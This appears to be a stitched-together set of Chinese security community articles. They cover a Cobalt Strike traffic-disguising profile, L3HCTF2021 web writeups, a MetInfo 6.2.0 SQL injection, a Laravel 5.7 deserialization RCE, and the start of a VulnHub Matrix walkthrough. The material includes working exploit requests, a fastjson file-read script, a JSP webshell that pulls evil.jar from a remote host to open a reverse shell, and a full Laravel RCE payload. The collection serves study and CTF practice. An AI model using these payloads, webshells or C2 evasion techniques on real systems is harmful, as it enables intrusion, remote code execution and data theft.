#Set in a header
header "Cookie";
#Send data as transaction body
#print
#Store data in a URI parameter
#parameter "someparam"
}
这里制定了对metadata进行base64编码，Prepend语句在编码后的数据前面添加相应字符串，append语句为在末尾追加字符串。最后存储在cookie字段里面。获取真正的metadata则是对http中相应数据进行逆操作，最终得到所要的metadata
output {
mask;
base64;
prepend "\x1F\x8B\x08\x08\xF0\x70\xA3\x50\x00\x03";
append "\x7F\x01\xDD\xAF\x58\x52\x07\x00";
print;
}
print语句是将data作为transaction的内容进行发送
大概的修改就是按照这样一个简单的逻辑进行修改的，原理就是在通信时对http的流量包进行更改伪造，通过加载相应的profile文件，来改变目标主机与server端的流量特征，以此来隐藏流量，最终达到通信隐匿的目的。
# 总结
cs作为一个神器，需要学的地方还是很多的，以后还是要多进行学习才行 | 社区文章 |
# 0RAYS-L3HCTF2021 writeup-web
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Easy PHP
页面看起来没毛病 复制一下就发现有问题
看响应包hex 再url编码即可
GET /?username=admin&%e2%80%ae%e2%81%a6%4c%33%48%e2%81%a9%e2%81%a6%70%61%73%73%77%6f%72%64=%e2%80%ae%e2%81%a6%43%54%46%e2%81%a9%e2%81%a6%6c%33%68%63%74%66 HTTP/1.1
Host: 124.71.176.131:10001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
## Image Service 1
可以看到他人分享的链接
admin不可以 Admin成功
## image Service 2
### 分析
可以发现flag2是模糊的
可以从该分享链接的参数中发现原因
http://121.36.209.245:10002/get?blur=20&text=secret&textsize=50&token=782dd8dd3be70e52374f188814b561cecb4a26350729d924d6606c918bc803bd&uuid=e19d069a-652a-471d-8c83-79010b5aaf66&x1=200&y1=200
blur=20 是控制模糊的参数
x1=200&y1=200 对图片进行了裁切 只能看到图片的一部分
text=secret 即为图片经过高斯模糊后覆盖的文字内容
因为在service会对请求参数与token校验
所以应该要分析出token是怎么生成的，然后伪造token
### 程序
~~不会有web手不会用ida和gdb吧~~
ida打开 找到token函数 分析了一下 猜测会把 APP_SECRET 和所有请求参数拼接 然后sha256一下
但是这里看不出来如何拼接 拼接的格式
所以还是要动调
service和app都调了一下
拼接内容很容易就可以看出
大概如下
map[blur:[20] height:[1000] text:[] textcolor:[FFFFFF] textsize:[0] thumbnail:[false] uuid:[c314a3f2-1b14-40e6-8a9d-94acef8d1ac3] width:[1000] x0:[0] x1:[0] y0:[0] y1:[0]]
### 解法一 hash长度扩展攻击
#### 原理
hash长度扩展攻击的基本场景：
~~网上很多讲的很难理解~~
简单来说 已知 **message** 及 **hash(secret_key+message)**
那么通过这种攻击手段 可以构造得到 **message+一些奇怪的字符+自定义字符** 及
**hash(secret_key+message+一些奇怪的字符+自定义字符)**
实际场景可能比较复杂 可能涉及到一些解析漏洞等，但是原理就是上面的
#### 工具
**hash_extender**
输入
* data 对应 message的
* signature 对应 hash(secret_key+message)
* secret 对应 secret_key的长度
* append 对应 自定义字符
./hash_extender --data "map[blur:[20] text:[secret] textsize:[50] uuid:[b9bf1a78-ae0e-4b44-85f0-e1f07ede0165] x1:[200] y1:[200]]" --secret 16 --append "] textcolor:[FFFFFF] textsize:[0] uuid:[b9bf1a78-ae0e-4b44-85f0-e1f07ede0165] x1:[1000] y1:[1000]]" --signature "6332c92d31ee3effa8185d11035bdcaace30d3dbc8a937a38b8276f478fac740" --format sha256
输出
* New signature 对应 hash(secret_key+message+一些奇怪的字符+自定义字符)
* New string 对应 message+一些奇怪的字符+自定义字符
Type: sha256
Secret length: 16
New signature: 11e37f66cbaba0d326359dca220ce44c3a1895adf5eb8a73900a4f68ce4588c8
New string: 6d61705b626c75723a5b32305d20746578743a5b7365637265745d207465787473697a653a5b35305d20757569643a5b62396266316137382d616530652d346234342d383566302d6531663037656465303136355d2078313a5b3230305d2079313a5b3230305d5d8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003c05d2074657874636f6c6f723a5b4646464646465d207465787473697a653a5b305d20757569643a5b62396266316137382d616530652d346234342d383566302d6531663037656465303136355d2078313a5b313030305d2079313a5b313030305d5d
#### 做题
根据上面的对应关系 使用工具
./hash_extender --data "map[blur:[20] text:[secret] textsize:[50] uuid:[b9bf1a78-ae0e-4b44-85f0-e1f07ede0165] x1:[200] y1:[200]]" --secret 16 --append "] textcolor:[FFFFFF] textsize:[0] uuid:[b9bf1a78-ae0e-4b44-85f0-e1f07ede0165] x1:[1000] y1:[1000]]" --signature "6332c92d31ee3effa8185d11035bdcaace30d3dbc8a937a38b8276f478fac740" --format sha256
生成的内容 改一下请求再发包即可
GET /get?blur=20&text=secret]+textsize%3a[50]+uuid%3a[b9bf1a78-ae0e-4b44-85f0-e1f07ede0165]+x1%3a[200]+y1%3a[200]]%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%c0&textcolor=FFFFFF&textsize=0&token=11e37f66cbaba0d326359dca220ce44c3a1895adf5eb8a73900a4f68ce4588c8&uuid=b9bf1a78-ae0e-4b44-85f0-e1f07ede0165&x1=1000&y1=1000 HTTP/1.1
Host: 121.36.209.245:10002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
构造上稍微需要一些技巧
此种解法无法获取清晰的flag 无法去掉blur参数 所以最后只能硬看flag
### 解法二 直接构造
此种解法来自与ha1师傅赛后讨论 ~~ha1yyds~~
借助题目生成token，再配合一下解析漏洞，此处的构造十分巧妙
flag2 uuid 3859089e-67cb-444d-9dfd-9c4b91b2f6c0
自己图片 uuid a4bf20a9-9b29-47db-87cd-57b384bf8f9e
生成share
POST /api/share/new HTTP/1.1
Host: 121.36.209.245:10001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------20510454632674357453543241695
Content-Length: 364
Origin: http://121.36.209.245:10001
Connection: close
Referer: http://121.36.209.245:10001/share
Cookie: session=MTYzNzAyNDgwMXxEdi1CQkFFQ180SUFBUkFCRUFBQUhQLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUVkV2x1ZEFZQ0FBST18Sf7Kozgbni82LyMsTGy7ATR6aY5RaG1_aexev9UqkAw=
-----------------------------20510454632674357453543241695
Content-Disposition: form-data; name="text"
233] uuid:[3859089e-67cb-444d-9dfd-9c4b91b2f6c0
-----------------------------20510454632674357453543241695
Content-Disposition: form-data; name="uuid"
a4bf20a9-9b29-47db-87cd-57b384bf8f9e
-----------------------------20510454632674357453543241695--
那么在后端hash的内容为
map[text:[233] uuid:[3859089e-67cb-444d-9dfd-9c4b91b2f6c0 ] uuid:[a4bf20a9-9b29-47db-87cd-57b384bf8f9e]]
题目返回token
0b13728c6840122a52fa9ccd63838d1e847b4d7fccd0000414d38c42c2d33c21
此处构造与share原文一样的payload（后端拼接后与上面share拼接后的一样），获取图片，就能看到很清晰的flag了
/get?text=233&uuid=3859089e-67cb-444d-9dfd-9c4b91b2f6c0&uuid=]+uuid%3a[a4bf20a9-9b29-47db-87cd-57b384bf8f9e&token=0b13728c6840122a52fa9ccd63838d1e847b4d7fccd0000414d38c42c2d33c21
## cover
弱口令登录admin admin
有fastjson。打fastjson
原理请看
<https://mp.weixin.qq.com/s/BRBcRtsg2PDGeSCbHKc0fg>
{
"abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///D:/1.txt"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"charsetName": "UTF-8",
"bytes": [66]
}]
},
"address": {
"$ref": "$.abc.BOM"
}
}
文章中的payload是这样的，我们给他外面套上一层
[{"password":{"abc":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"file:///flag"},"charsetName":"UTF-8","bufferSize":1024},"boms":[{"charsetName":"UTF-8","bytes":[76]}]},"address":{"$ref":"$.abc.BOM"}}}]
这样就有回显了。根据回显盲注出flag
import requests
session = requests.session()
burp0_url = "http://124.71.173.23:8088/dynamic_table"
burp0_cookies = {"JSESSIONID": "129453A7ADA22FE7EFCA43989BBD7DB3"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded",
"Origin": "http://124.71.173.23:8088", "Connection": "close",
"Referer": "http://124.71.173.23:8088/dynamic_table", "Upgrade-Insecure-Requests": "1"}
lllll = ['76']
proxies = {
"http": "http://127.0.0.1:8084",
"https": "http://127.0.0.1:8084"
}
for i in range(45):
for j in range(32, 127):
burp0_data = {
"data": "[{\"password\":{\"abc\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.BOMInputStream\",\"delegate\":{\"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\"reader\":{\"@type\":\"jdk.nashorn.api.scripting.URLReader\",\"url\":\"file:///flag\"},\"charsetName\":\"UTF-8\",\"bufferSize\":1024},\"boms\":[{\"charsetName\":\"UTF-8\",\"bytes\":[" + ",".join(
lllll)+','+str(j)+"]}]},\"address\":{\"$ref\":\"$.abc.BOM\"}}}]"}
r = session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data,proxies=proxies)
if "charsetName" in r.text:
print(chr(j),end='')
lllll.append(str(j))
## bypass
jsp文件上传，不能上传可见字符。这里随便一种编码就行，比如UTF-16BE编码。
<https://github.com/threedr3am/JSP-Webshells/blob/master/jsp/10/README.md>
把这里的代码修改一下，只留下关键代码，来绕过waf。
上传jsp，双写绕后缀
shell.jsjspp
<%@ page language="java" pageEncoding="UTF-16BE" %>
<%@ page import="java.util.Iterator" %>
<%@ page import="java.util.ServiceLoader" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.net.URL" %>
<%
Class clazz = Class.forName("javax.script.ScriptEng"+"ineFactory");
Iterator serviceLoader = ServiceLoader.load(clazz, new URLClassLoader(new URL[]{new URL("http://ip:port/evil.jar")})).iterator();
while (serviceLoader.hasNext()){
serviceLoader.next();
}
%>
evil中
EvilScript.java
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.List;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
public class EvilScript implements ScriptEngineFactory {
public EvilScript() throws Throwable {
StringBuilder stringBuilder = new StringBuilder();
try {
Runtime.getRuntime().exec("反弹shell命令");
} catch (Throwable e) {
e.printStackTrace();
}
throw new Throwable(stringBuilder.toString());
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List<String> getExtensions() {
return null;
}
@Override
public List<String> getMimeTypes() {
return null;
}
@Override
public List<String> getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String... statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
打包
javac EvilScript.java
jar -cvf evil.jar META-INF EvilScript.class
jar包结构
上传后访问jsp,反弹shell | 社区文章 |
# metinfo 6.2.0最新版本前台注入分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
看到某个表哥发的metinfo
6.1.3最新注入（<https://xz.aliyun.com/t/4508>)，以前我发过metinfo利用注入getshell的文章，这里正好可以结合。（[https://nosec.org/home/detail/2324.html](https://nosec.org/home/detail/2324.html%5D))，在检查官方发布的最新版6.2.0版本的时候，发现该漏洞并未修复。
## 利用条件
前台，（<https://xz.aliyun.com/t/4508> ）作者在这里说需要注册会员，其实有一处不需要。
## 漏洞详情
这里关键点在auth类的encode()和decode()方法。看下代码：
这里两个方法全都调用了authcode()方法，跟进authcode看一下：
这里decode和encode算法可逆，但我们需要知道$key的值，查看构造函数：
这里$key的值是来源于met_webkeys这个配置，查看met_webkeys来源发现在安装的时候把这个key写入到<span
style=”color: rgb(212, 212, 212);”></span><span style=”color: rgb(206, 145,
120);”>.<span style=”color: rgb(51, 51,
51);”>/config/config_safe.php文件中。</span></span><span style=”color: rgb(212,
212, 212);”></span><span style=”color: rgb(206, 145, 120);”></span><span
style=”color: rgb(212, 212, 212);”></span>
查看<span style=”color: rgb(206, 145, 120);”><span style=”color: rgb(51, 51,
51);”>/config/config_safe.php</span></span>文件，这里写入方式类似以下，但p牛在某篇文章中说过，这种是无法解析的，php后面必须要有一个空白字符，右键查看源代码即可得到met_webkeys，但有的会报错，根据这个表哥所说和php线程安全有关，本地试了下好像是这样。
这里有两个利用点，简单说下其中一个。在register类的doemailvild()方法中，这里把用户提交的p参数进行了解密，并且传入到了get_user_valid()方法中。
查看get_user_valid()方法，这里又把解密后的值传入到了get_user_by_username()方法。
查看get_user_by_username()方法，又传入了get_user_by_nameid()方法。
查看get_user_by_nameid()方法，直接拼接。
这里基本就清楚了，将auth类的authcode()方法copy本地。
访问本地文件得到加密后的字符串。
将加密后的字符串放到cookie，get或者post中，构造请求提交，延时注入成功。
## payload
这里有两个，一个是不需要登陆就可注入，另一个是coolcat表哥所说的需要以会员登陆。以下请自行替换p参数。
1、不需要登陆
GET /admin/index.php?n=user&m=web&c=register&a=doemailvild HTTP/1.1
Cookie: p=00c7%2FDBwD23b41olxVCthTvDDTRBhldmrrdyA8S3t%2F3yAl4QZ0P%2FSfOS5zlB
2、 需要登陆
GET /admin/index.php?n=user&m=web&c=profile&a=dosafety_emailadd HTTP/1.1
Cookie: p=497cD9UpkDtsvFzU9IKNlPvSyg1z%2bf09cmp8hqUeyJW9ekvPfJqx8cLKFSHr;<自行添加登陆后的cookie>
本文由白帽汇原创，转载请注明来源：<https://nosec.org/home/detail/2436.html>
白帽汇从事信息安全，专注于安全大数据、企业威胁情报。 | 社区文章 |
原文：<https://docs.google.com/presentation/d/1PCnjzCeklOeGMoWiE2IUzlRGOBxNp8K5hLQuvBNzrFY/edit?usp=sharing> | 社区文章 |
### 背景
最近在学习Laravel框架的代码审计，恰好通过qwb线下的一道web了解到CVE-2019-9081，便详细地结合exp并利用断点跟踪对漏洞进行了复现分析，从中也学到了不少PHP开发以及Laravel框架的知识，记录一下，希望对想入坑Laravel代码审计的师傅们有所帮助，如果哪里表述有误，请师傅们指出~
### 1.分析准备
#### 1.1漏洞描述
Laravel Framework是Taylor
Otwell软件开发者开发的一款基于PHP的Web应用程序开发框架。Illuminate是其中的一个组件。Laravel Framework
5.7.x版本中的Illuminate组件存在反序列化漏洞，远程攻击者可利用该漏洞执行代码
#### 1.2环境搭建
因为Laravel要求PHP的版本 >= 7.1.3，ubuntu16.04默认php7.0版本，因此环境中使用的php版本为7.2，切换php版本命令如下
# 禁用 Apache 中的 PHP7.0
sudo a2dismod php7.0
# 启用 PHP7.2
sudo a2enmod php7.2
# 重启 Apache
sudo systemctl restart apache2.service
之后看到下图即说明搭建成功
#### 1.3漏洞文件描述
漏洞出现在PendingCommand.php文件中，了解一个API用法的最快方式当然是查官方文档的函数说明去了解啦([Laravel5.7API函数说明](https://laravel.com/api/5.7/Illuminate/Foundation/Testing/PendingCommand.html
"Laravel5.7API函数说明"))
其中存在反序列化方法__destruct()，并且在其中调用了run函数来执行命令，那么思路就为通过反序列化该类的实例对象来调用run方法执行命令达到rce的效果
因为要结合exp进行分析，因此先贴出exp
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app){
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
$genericuser = new Illuminate\Auth\GenericUser(
array(
"expectedOutput"=>array("0"=>"1"),
"expectedQuestions"=>array("0"=>"1")
)
);
$application = new Illuminate\Foundation\Application(
array(
"Illuminate\Contracts\Console\Kernel"=>
array(
"concrete"=>"Illuminate\Foundation\Application"
)
)
);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
"system",array('id'),
$genericuser,
$application
);
echo urlencode(serialize($pendingcommand));
}
?>
其中在PendingCommand的构造方法中要传入的关键四个变量如下所示，也是exp构造的关键，其中$command和$parameters也就是我们要执行的命令和参数
### 2.断点跟踪分析
因为该漏洞存在与Laravel组件中，因此要基于Laravel进行二次开发后可能存在此反序列化漏洞，qwb题目中直接通过$_GET['code']传入的参数进行unserialize()，所以首先在unserialize()处下断点，执行exp生成的payload后将停在此处，此时F7步入unserialize函数进行分析
按道理说现在下一步就是触发__destruct函数，但payload中要使用3个类，对于Laravel这种大型框架而言当然少不了一些处理步骤，在左下方的函数调用栈中发现出现了两处调用，首先调用spl_autoload_call()方法
因为我们在payload中使用的类在Task控制器中并没有加载进来，因此便触发了PHP的自动加载的功能，也就是实现了 lazy
loading，以加载类PendingCommand为例进行分析(其它所用到的类加载方式相同)：关于PHP自动加载的相关描述可以参考([PHP
自动加载功能原理解析](https://learnku.com/articles/4681/analysis-of-the-principle-of-php-automatic-loading-function "PHP 自动加载功能原理解析"))
首先是类AliasLoadder中load方法的调用，其中涉及到使用Laravel框架所带有的Facade功能去尝试加载我们payload中所需要的类，Facade描述如下
在Laravel框架中判断的逻辑主要是有2条
* 用户提供所要加载的类是不是其中包含"Facades",如果是则通过loadFacade()函数进行加载
* 在Illuminate\Support\Facades命名空间中寻找是否含有用户所要加载的类
如果通过load()方法没有加载成功，则会调用loadclass()函数进行加载，而loadclass()函数中通过调用findfile()函数去尝试通过Laravel中的composer的自动加载功能含有的classmap去尝试寻找要加载的类所对应的类文件位置，此时将会加载vendor目录中所有组件，
并生成namespace + classname的一个 key => value 的 php 数组来对所包含的文件来进行一个匹配
找到类PendingCommand所对应的文件后，将通过includeFile()函数进行包含，从而完成类PendingCommand的整个加载流程，加载完所需要的类后，将进入__destruct方法，此时hasExecuted属性默认为false，即还没有执行命令，所以此时才能调用run方法
继续使用F7进入用于执行命令的run()函数进行分析
在run方法中，首先要调用mockConsoleOutput()方法，该方法主要用于模拟应用程序的控制台输出，此时因为要加载类Mockery和类Arrayinput，所以又要通过spl_autoload_call->load->loadclass加载所需要的类，并且此时又会调用createABufferedOutputMock()函数
按F7进入createABufferedOutputMock观察一下其内部的实现，其中又调用了Mockery的mock()函数,Mockery是一个简单而灵活的PHP模拟对象框架，在
Laravel
应用程序测试中，我们可能希望「模拟」应用程序的某些功能的行为，从而避免该部分在测试中真正执行。此时继续F7进入mock函数，进入以后直接F8单步执行即可，我们的目的只需要此段代码能够往下执行，在调试的过程中我感觉并不一定要搞清每个变量每个函数的作用，大型框架调用链实在是太长太复杂，并且只要它不出错能往下走就行
#### 2.1exp构造关键点1
此时在createABufferedOutputMock()方法中要进入for循环，并且在其中要调用test的expectedOutput属性，然而在可以实例化的类中不存在expectedOutput属性(通过ctrl+shift+F即可进行全局搜索)，只在一些测试类中存在，听马师傅说测试类一般不会去加载，所以构造pop链时一般不用测试类
所以这里要用到php魔术方法中的一个小trick，也是经常在ctf题中可能遇到的，当访问一个类中不存在的属性时会触发 **get()方法，通过去触发**
get()方法去进一步构造pop链，而在Illuminate\Auth\GenericUser的 **get方法中存在以下逻辑
而此时$this->test是Illuminate\Auth\GenericUser的实例化对象，其是我们传入的，那么其是可以控制的，即attributes属性也是我们可以控制的，那当发生$this->test->expectedOutput的调用时，我们只需要让attributes中存在键名为expectedOutput的数组，即数组中有内容就能够通过循环流程进行返回，继续F8单步执行即可跳出createABufferedOutputMock()方法
此时回到mockConsoleOutput()函数中，又进行了一个循环遍历，调用了test对象的的expectedQuestions属性，里面的循环体与createABufferedOutputMock()函数的循环体相同，因此绕过方法也是通过调用**get()方法，设置一个键名为expectedQuestions的数组即可，此时将继续往下走，继续F8单步调试就可以return
$mock，从而走出mockConsoleOutput()函数，接下来回到run函数中
#### 2.2exp构造关键点2
此时到了触发rce的关键点，
其中出现了$this->app[Kernel::class]->call方法的调用，其中Kernel::class在这里是一个固定值Illuminate\Contracts\Console\Kernel,并且call的参数为我们所要执行的命令和命令参数($this->command,
$this->parameters)，那我们此时需要弄清$this->app[Kernal::class]返回的是哪个类的对象，使用F7步入程序内部进行分析
直到得到以下的getConcrete的调用栈,此时继续F8单步执行到利用payload的语句,此时因为$this为Illuminate\Foundation\Application，bindings属性是Container类的，而这里也是payload中选择Applocation作为app参数值的原因，那么通过反序列化我们可以控制bindings属性，而此时$abstract为固定值，即只需要让$bindings为一个二维数组，其中键$abstract作为数组，其中存在键名为concrete，键值为我们想要实例化的类Application即可
此时继续F8往下走，到了实例化Application类的时刻， 此时要满足isBuildable函数才可以进行build，因此F7步入查看
此时$concrete为Application，而$abstract为kernal，显然不满足，并且||右边$concrete明显不是闭包类的实例化，所以此时不满足Application实例化条件，此时继续F7，此时将会调用make函数，并且此时将$abstract赋值为了Application，并且make函数又调用了resolve函数，即实现了第二次调用isBuildable()函数判断是否可以进行实例化，即此时已经可以成功实例化类Application，即完成了$this->app[Kernel::class]为Application对象的转化
接下来将调用类Application中的call方法，即其父类Container中的call方法
函数的调用
其中第一个分支isCallableWithAtSign()判断回调函数是否为字符串并且其中含有"@“,并且$defaultMethod默认为null，显然此时不满足if条件，即进入第二个分支，callBoundMethod()函数的调用
在callBoundMethod()函数中将调用call_user_func_array()函数来执行最终的命令，首先$callback为"system",参数为静态方法getMethodDependencies()函数的返回值，F7步入看看
在return处可以看到此时调用array_merge函数将$dependencies数组和$parameters数组进行合并，但是$dependencies数组为空，因此对我们要执行命令的参数不产生影响，即在此步返回将执行命令，即完成
call_user_func_array('system',array('id'))
此时run函数中$exitcode值即为命令的执行结果
#### 3.攻击效果
payload：
http://localhost/laravel-5.7/public/index.php/index?code=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A2%3A%22id%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D
### 参考
1.<https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/>
2.<https://www.jianshu.com/p/a7838a89f2f9>
3.<https://learnku.com/docs/laravel/5.7/facades/2251>
4.<https://learnku.com/articles/12575/deep-analysis-of-the-laravel-service-container>
5.<https://laravel.com/docs/5.7/structure#the-tests-directory> | 社区文章 |
#### 靶机说明
Flags: Your Goal is to get root and read /root/flag.txt
下载地址:<https://download.vulnhub.com/matrix/Machine_Matrix.zip>
#### ip发现
上nmap扫描一波`sudo nmap -sP 192.168.1.0/24`
得到靶机ip`192.168.1.115`
#### 端口扫描
`nmap -sV 192.168.1.115`
得到
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7 (protocol 2.0)
80/tcp open http SimpleHTTPServer 0.6 (Python 2.7.14)
31337/tcp open http SimpleHTTPServer 0.6 (Python 2.7.14)
开放了22,80,31337端口
#### web
打开网站，看看有什么提示，漏洞什么的
查看源码发现一个东西
打开发现<http://192.168.1.115/assets/存在文件泄露，看了下，灭有什么重要的,回到刚才的那个图片>
是个兔子图片,这里想到最开始网站上面写的"Follow the White Rabbit",他这个提示很明显`p0rt_31337`,31337端口
访问<http://192.168.1.115:31337/>
再看源码,发现一段base64，解密
提示:
`echo "Then you'll see, that it is not the spoon that bends, it is only
yourself. " > Cypher.matrix`
尝试访问`http://192.168.1.115:31337/Cypher.matrix`
下载一段加密文件
+++++ ++++[ ->+++ +++++ +<]>+ +++++ ++.<+ +++[- >++++ <]>++ ++++. +++++
+.<++ +++++ ++[-> ----- ----< ]>--- -.<++ +++++ +[->+ +++++ ++<]> +++.- -.<++ +[->+ ++<]> ++++. <++++ ++++[ ->--- ----- <]>-- ----- ----- --.<+
+++++ ++[-> +++++ +++<] >++++ +.+++ +++++ +.+++ +++.< +++[- >---< ]>--- ---.< +++[- >+++< ]>+++ +.<++ +++++ ++[-> ----- ----< ]>-.< +++++ +++[- >++++ ++++< ]>+++ +++++ +.+++ ++.++ ++++. ----- .<+++ +++++ [->-- ----- -<]>- ----- ----- ----. <++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ +.<++
+[->- --<]> ---.< ++++[ ->+++ +<]>+ ++.-- .---- ----- .<+++ [->++ +<]>+
+++++ .<+++ +++++ +[->- ----- ---<] >---- ---.< +++++ +++[- >++++ ++++<
]>+.< ++++[ ->+++ +<]>+ +.<++ +++++ ++[-> ----- ----< ]>--. <++++ ++++[
->+++ +++++ <]>++ +++++ .<+++ [->++ +<]>+ ++++. <++++ [->-- --<]> .<+++
[->++ +<]>+ ++++. +.<++ +++++ +[->- ----- --<]> ----- ---.< +++[- >---<
]>--- .<+++ +++++ +[->+ +++++ +++<] >++++ ++.<+ ++[-> ---<] >---- -.<++
+[->+ ++<]> ++.<+ ++[-> ---<] >---. <++++ ++++[ ->--- ----- <]>-- ----- -.<++ +++++ +[->+ +++++ ++<]> +++++ +++++ +++++ +.<++ +[->- --<]> ----- -.<++ ++[-> ++++< ]>++. .++++ .---- ----. +++.< +++[- >---< ]>--- --.<+
+++++ ++[-> ----- ---<] >---- .<+++ +++++ [->++ +++++ +<]>+ +++++ +++++
.<+++ ++++[ ->--- ----< ]>--- ----- -.<++ +++++ [->++ +++++ <]>++ +++++
+++.. <++++ +++[- >---- ---<] >---- ----- --.<+ +++++ ++[-> +++++ +++<]
>++.< +++++ [->-- ---<] >-..< +++++ +++[- >---- ----< ]>--- ----- ---.- --.<+ +++++ ++[-> +++++ +++<] >++++ .<+++ ++[-> +++++ <]>++ +++++ +.+++
++.<+ ++[-> ---<] >---- --.<+ +++++ [->-- ----< ]>--- ----. <++++ +[->- ----< ]>-.< +++++ [->++ +++<] >++++ ++++. <++++ +[->+ ++++< ]>+++ +++++
+.<++ ++[-> ++++< ]>+.+ .<+++ +[->- ---<] >---- .<+++ [->++ +<]>+ +..<+
++[-> +++<] >++++ .<+++ +++++ [->-- ----- -<]>- ----- ----- --.<+ ++[->
---<] >---. <++++ ++[-> +++++ +<]>+ ++++. <++++ ++[-> ----- -<]>- ----.
<++++ ++++[ ->+++ +++++ <]>++ ++++. +++++ ++++. +++.< +++[- >---< ]>--.
--.<+ ++[-> +++<] >++++ ++.<+ +++++ +++[- >---- ----- <]>-- -.<++ +++++
+[->+ +++++ ++<]> +++++ +++++ ++.<+ ++[-> ---<] >--.< ++++[ ->+++ +<]>+
+.+.< +++++ ++++[ ->--- ----- -<]>- --.<+ +++++ +++[- >++++ +++++ <]>++
+.+++ .---- ----. <++++ ++++[ ->--- ----- <]>-- ----- ----- ---.< +++++
